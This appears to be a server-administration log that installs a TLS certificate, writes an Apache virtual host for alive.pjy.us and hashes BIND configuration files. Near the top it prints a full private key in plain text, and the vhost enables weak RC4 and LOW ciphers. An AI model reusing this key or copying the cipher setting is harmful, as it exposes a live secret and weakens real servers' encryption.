ip5M+p2RctyWnmVnSGvhBsYpB+QvpE8K66PJG9hjDhECfDJ0TF8kSBRUfDu8E/fC
ZKlDaSHYiJ3iYgpI6KA0qsNYKPz0k60YNqHK9cA/xElouWGfgpTk5Vi6idGZ6rAQ
R0ppD4f4gfj4/GRbu1JKen9uZVPhrp/7z0R9AAT6bTdujiIzmnhuq2Sjwaj38rfp
NE72+lQI/3MPVJ0Nc5zNotBoJlyupX4/rahHPvZo0ngdtlj0aMYvbbhY4YmJNq5L
lDh2MUH2jQwOdtLBDKTq7w0gv4zokuK3PVzzV+GHgOnQC7u7XwyqvXUz+jhfCH8O
T/QYVXMsJsQ8a9YE
-----END CERTIFICATE-----


-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC47q+GXe0uQFo7
7yC19HDBIx0KCE+hO6yHUlxrDBKpdTiH9A/oOzUJK98Oxqsi3HHAWJ6mYNLF/4GP
CnSge9NvJbOBm/eiwhJy9RiVhTljQg2jyV+WzCsKpv8Su4hSJuy/Q9DzS6p9FSK9
lFDUhZ2+OZq353KpGpVDdU7D4QMRAegW+myxe1WPoW+qZ92z+a5kYKf8tge1dFdn
QsbFJfGvBDwr0SXQeAqkBtdWimIWS0JrNsnjS0M5GuP/3Goqarc8JIvgHWPBKgls
lND5WZ7UITPbfzH8xu/Ymj0PCOFptjEPeRQru/vr/qtNnCFJLDW56GEsD19slBii
vi6aCmlXAgMBAAECggEABFxRyeVPwRYbX+u/kGAh2IFaH0ZwOj5h+b7jbFLDOI5f
CuBND7jLA1sEI3ZjyqqlXq0Nm0wP1u4IwWAJvU8DfqIbnXlurr53bjvWnI/2TnTc
RXnAxe7X2k8dwfSnaOh/ZJ3WFiaOmpceU+y6CzOAs1+Vr7McF7NcxFPGdlqelo6z
+chmeC8Cys8CfTN5LhdlFFOr3Nkb9Awoxdb379izHep90L4H8jO7JZAy0SaLLWOj
fwYJ4Cr5wmPcqVM1TX3jV/cpO9HDCtOvsc/RAuG3o/PJ+VVdRnLwvi8QKXY7KQ9g
Dnru/YdqQIrBhuD9CCAXpSzpw96FxTru0GGMLNslwQKBgQDvsW3iuoR/2p3zLnw8
JRTb5Ij1TnAD0UajOeEb2tCIzKCIZ61dr+7RohP2XtI01ABrDHFWilbTDNNLsh5k
As0TTO6OHp+KnHkCPfJX6RZ7DTZfeUw29AA7ZGcY8wm6WOvSmuZSNKd9nLbiDAlf
udEMzgiZT4kXdXoOCeoZ693QaQKBgQDFg4bBFoaTlVmiqVFIgVMtxNqJu12EQHzd
JpO75ggNcsyqLKQ4S6k/a2rA7/vuwtHfiyKDU7vLZB1X1Li6t/wJ5RPG7PNS+Lnj
JsOUOf+TC3wSC0gx1+0ND7tBns2Sh93XoczTjxa9C/dDkuHYkWDw1CXBGvxmtWJD
CPnCVe8zvwKBgQCClh7w7H8tjPSKvaOvvOAdYOgBBYfffI/Ic8shutfr/9fiGOIJ
7cTl7zCDBGvvniTQLYo+BMaC2zTuw47tG92Qi1RYl3SCNvdycj9rB7FYvv0FjPcp
5UuPEAdfP2HoZXOtXPjoholN1SiKBNbCkWDEYierJvrgjf8+UMZ68tb5KQKBgAa8
XI0bMo236y2j7pS1bFvEOdu2mxLWjCuSlDk1OBMVVit7iEIvOl9iT2qzBHl5BWVF
PnESGvZtvJ5xL7eWbK79s/X1wLqUpuo7OTJF5BRksN+AqP6iKYBnh/BN9R7JKWSg
LPcOCy15Sf5w9OjI1HCCG6OBQxhRmT9GABaDjbvLAoGAYMA8t10T1v9Q0axumGwq
9Lu08z2P3wO1O0Jt20RVh6CwF571BnAEZz1gk80AGg0UXgTDyIo8YxO8aHYS73aP
Wbvclw8YOHbsJFqk4nanrgLDGRNMAQXYv5sIQtO2vtu6dlexPjoRxxZHutyvsTqn
uugk9G5lv9gmlDnHFEPX9y0=
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-03-04 19:03:17: 

chmod 755 /tmp/pkp828979; /tmp/pkp828979; rm /tmp/pkp828979

2026-03-04 19:03:17: 


dir=/etc/ssl/certs


2026-03-04 19:03:17: 

PUT: /tmp/pkp768210

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=pjy_alive_us.conf
TARGET=/etc/apache2/sites-enabled/pjy_alive_us.conf
DOCROOT=
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	alive.pjy.us
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/pjy_alive
    <Directory /var/www/pjy_alive>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/alive_access.log combined
    ErrorLog	/var/log/apache2/pjy/alive_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	alive.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb
    DocumentRoot	/var/www/pjy_alive
    <Directory /var/www/pjy_alive>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/alive_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/alive_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/pjy_alive_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/pjy_alive_us.conf)= /etc/apache2//etc/apache2/sites-enabled/pjy_alive_us.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/pjy_alive_us.conf= 1'
fi


2026-03-04 19:03:18: 

chmod 755 /tmp/pkp768210; /tmp/pkp768210; rm /tmp/pkp768210

2026-03-04 19:03:18: 


/tmp/pkp768210: line 58: [: !=: unary operator expected




STDERR:
/tmp/pkp768210: line 58: [: !=: unary operator expected


2026-03-04 19:03:18: 

PUT: /tmp/pkp164076

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-03-04 19:03:18: 

chmod 755 /tmp/pkp164076; /tmp/pkp164076; rm /tmp/pkp164076

2026-03-04 19:03:19: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-04 19:03:19: Establishing a connection
2026-03-04 19:03:19: 

PUT: /tmp/pkp404198

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-04 19:03:19: 

runuser -l bind -s /bin/bash -c '/tmp/pkp404198; rm /tmp/pkp404198'

2026-03-04 19:03:19: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 5c27bd546fb502ce3d4635f83c2fb039
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
